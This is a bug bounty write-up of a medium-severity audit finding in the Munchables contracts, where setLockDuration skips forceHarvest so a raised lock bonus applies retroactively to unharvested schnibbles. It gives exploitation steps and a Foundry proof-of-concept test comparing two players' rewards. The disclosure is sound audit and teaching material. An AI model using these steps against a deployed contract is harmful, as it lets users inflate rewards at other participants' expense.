# User's schnibbles rewards are not harvested in the setLockDuration function

setLockDuration updates lock duration without forceHarvest, so the new bonus retroactively applies to unharvested rewards, letting users inflate schnibbles.

- Payout: Audit contest
- Severity: medium
- Program: Munchables
- Found by: SpicyMeatball
- Disclosed: 2024-06-21
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-05-munchables-findings/issues/20
- Library page: https://bugbountylibrary.com/r/c4%3A2024-05-munchables%3AM-04
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:solidity technique:source-review vuln:accounting-error vuln:reward-distribution

**Target:** LockManager.setLockDuration / AccountManager reward accounting
**Root cause:** setLockDuration changes playerSettings.lockDuration without calling accountManager.forceHarvest, so the harvest bonus used in _harvest retroactively applies the new duration to rewards accrued since lastHarvestDate.
**Steps:**
1. Lock tokens via `lm.lock{value: lockAmount}(address(0), lockAmount)` for two players.
2. `vm.warp(30 days)`; player0 calls `amp.harvest()`, player1 does not.
3. Both call `lm.setLockDuration(60 days)`.
4. `vm.warp(60 days + 1)`; both call `lm.unlock(address(0), lockAmount)`.
5. Compare `unfedSchnibbles`: player1 (no pre-harvest) accrues more than player0.
**How found:** Noticed that _lock and unlock both call forceHarvest but setLockDuration does not, while getHarvestBonus reads lockDuration — implying a stale-bonus window.
**Exploitation:** A user accrues rewards at the old (lower) lock-duration bonus, then raises lockDuration before harvesting; the higher bonus is applied retroactively to the entire unharvested period, yielding more schnibbles than deserved.
**Insight:** When a reward rate depends on a mutable user setting, check every setter of that setting for a harvest/settle call; missing settlement lets the new rate apply retroactively to the whole unaccrued period.

## Proof of concept (copied exactly from the original report)

**Foundry test proving reward discrepancy**

```
function test_Reward() public {
        address alice = address(0xa11ce);
        vm.deal(alice, 100e18);

        uint256 lockAmount = 100e18;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        vm.prank(alice);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);
        vm.prank(alice);
        lm.lock{value: lockAmount}(address(0), lockAmount);

        vm.warp(30 days);
        // Player 0 harvests while Player 1 does nothing
        amp.harvest();

        lm.setLockDuration(60 days);
        vm.prank(alice);
        lm.setLockDuration(60 days);
        vm.warp(60 days + 1);
        
        lm.unlock(address(0), lockAmount);
        vm.prank(alice);
        lm.unlock(address(0), lockAmount);
        (, MunchablesCommonLib.Player memory player0) = amp.getPlayer(address(this));
        (, MunchablesCommonLib.Player memory player1) = amp.getPlayer(alice);
        console.log("SHCHNIBBLES PLAYER0: ", player0.unfedSchnibbles);
        console.log("SHCHNIBBLES PLAYER1: ", player1.unfedSchnibbles);
    }
```

